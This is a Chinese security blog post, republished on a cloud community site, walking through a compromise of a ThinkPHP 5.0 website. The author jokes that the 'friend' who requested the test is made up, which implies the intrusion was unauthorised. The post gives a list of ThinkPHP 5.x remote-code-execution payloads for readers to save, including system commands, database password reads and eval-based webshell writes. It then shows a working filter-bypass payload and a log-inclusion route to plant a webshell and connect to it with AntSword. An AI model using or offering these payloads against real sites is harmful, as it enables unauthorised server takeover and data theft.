前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战渗透,轻松拿shell五步走

实战渗透,轻松拿shell五步走

作者头像
字节脉搏实验室
发布2020-03-08 14:34:53
1.4K0
发布2020-03-08 14:34:53
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-whit

1.起因

我有一个朋友,让我帮忙测试一下他的站,于是有了这篇文章。(无中生友篇)

2.信息收集

访问首页一下先,看到是thinkphp v5.0版本。

然后谷歌大法,直接上TP 5.X RCE的EXP,一顿骚操作:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/think\config/get&name=database.hostname

?s=index/think\config/get&name=database.password

?s=index/\think\Request/input&filter=system&data=id

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i

不好意思,一个都没用,只是发出来让你们收藏一下。嘿嘿嘿。。。

3.exp混合利用,文件包含和日志写入木马

接下来我们上一个有用的。

/index.php?s=captcha

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

改为POST方法,加一个参数Content-Type: application/x-www-form-urlencoded

顺利爆出phpinfo,有戏,接着往下看。

再检测一波:增加type请求头,然后payload:81aaa=id&_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=POST

报错,sysytem函数被拦截。可以换种方法getshell了。

由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞:

1.函数执行结果不会直接回显 2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。 后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。 file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。

__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:

被限制了读取文件的范围,但是能证明确实有用。由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。

写入一句话shell到日志文件里:

4.通过一句话 copy 新一句话文件到指定目录

5.蚁剑连接,打完收工,点到为止。

部分细节省略,比如目录侦测啥的,这个操作细心点就行。还是热乎的实战手法,提交公益src的师傅们可以自行操作一波了。大佬勿喷,有错请指出,会及时修改。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.起因
  • 2.信息收集
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档